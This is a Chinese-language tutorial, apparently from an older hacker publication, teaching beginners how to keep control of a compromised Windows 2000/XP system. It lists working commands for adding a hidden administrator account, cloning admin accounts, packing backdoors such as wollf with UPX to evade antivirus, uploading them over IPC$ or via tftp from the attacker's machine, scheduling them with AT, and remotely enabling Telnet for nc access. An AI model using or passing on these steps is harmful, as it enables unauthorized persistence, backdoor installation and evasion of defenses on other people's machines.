入侵系统后的工作          ◇文/heiyeluren

我们知道入侵一个系统有时候比较的简单,但是如果要把入侵后的工作做好,不是那么容易的,有句话不是说"打江山容易,守江山难"嘛,所以入侵一个系统后的工作是很重要,并且需要仔细细致的去做.本文从这个角度出发来告诉那些菜菜们假如你获得一个系统的权限后怎么做剩下的工作,希望对他们有一些帮助.    

说明:(本文所提到的系统如果没有特别说明都是指windows2000/windowsXP系统)

一.获得权限(不在讨论的范围,我们只讨论入侵系统后的该做的事情)

二.建立超级权限用户(1)建立用户:如:net user system$ hacker /addnet localgroup administrators system$ /add说明:上面的两个命令就是建立一个名字叫"system$",密码为"hacker"的超级权限用户(2) 克隆超级用户:可以使用CA工具来实现超级用户的可隆了,前提是只要拥有目标系统的管理员权限得帐号和密码.ca //ip administrator password IUSR_name password说明: administrator--管理员帐号  password--管理员帐号的密码   IUSR_name--系统已经存在的较低权限的用户  password--克隆用户的密码cca:检查克隆结果的工具.cca //ip user passworduser:被克隆的帐号password:密码

三.建立后门(1)上传后门程序(方法较多,只说常用的两种):上传后门比如wollf,winshell等常用的后门,最好把后门加一个壳,比如用UPX或者是ASPack等加壳,就不容易被病毒防火墙给查杀.

把后门上传的方法:(a)使用IPC$: 先和对方建立一个连接:  net use //对方IP地址/ipc$ "密码" /user:"用户名"建立成功后就可以上传后门: copy c:/hack/wollf.exe //IP/admin$ 说明:把你C盘下的wollf后门传到对方的x:/winnt下,或者是windows目录下(b)使用tftp:  前提是你进入了对方的系统,比如你通过telnet进入了对方系统,就可以在对方的shell下从你的机器中传后门到对方的系统:  tftp -i  你的IP get wollf.exe说明:把你机器中的wollf.exe下载到对方的系统目录下,前提是对方没有禁止tftp并且你有独立的IP地址(局域网的机器不行),你自己的机器打开tftpd32这个ftp工具,它就会监听你的69端口的连接,然后你就可以在对方的机器上来下载你机器的东西.

 (2)运行后门: (a)使用AT命令:  先获得对方系统的时间: net time //对方的IP的到对方的时间后就使用AT命令: at //对方IP 后门运行的时间 后门所在对方系统的路径例: at //192.168.0.1 11:02 c:/winnt/system32/wollf.exe注意:你要执行AT命令,前提是你与对方建立了IPC$连接,并且你获得对方系统的时间后,你运行后门的时    间必须要后几分钟.除了可以使用AT命令之后,还可以使用一款工具叫psexec.exe来实现AT的功能.(b)使用"流光"的"种植者"来实现拷备和运行后门,这个方法你可以参考"流光"的帮助文件(c)直接运行后门:你比如登陆了对方的系统,比如你使用Telnet进入了对方的系统后就可以直接运行了.假如对方没有开Telnet,那么我们就可以帮它打开.  打开对方的Telnet的方法:我们可以使用opentelnet.exe这个工具来实现,前提是必须具有目标系统的管理员权限和开了IPC$,命令如下:opentelnet //ip username password NTLMauthor Telnetport说明: //ip--目标IP  username--用户名   password--密码NTLMauthor--NTLM的验证方式   Telnetport--端口验证方式有:0:代表不使用NTLM验证 1:代表先尝试使用NTLM验证,失败后用密码验证 2:只使用NTLM验证执行成功后,就可以使用Telnet 对方IP 端口 或者 nc -vv 对方的IP 端口 来登陆目标机器了.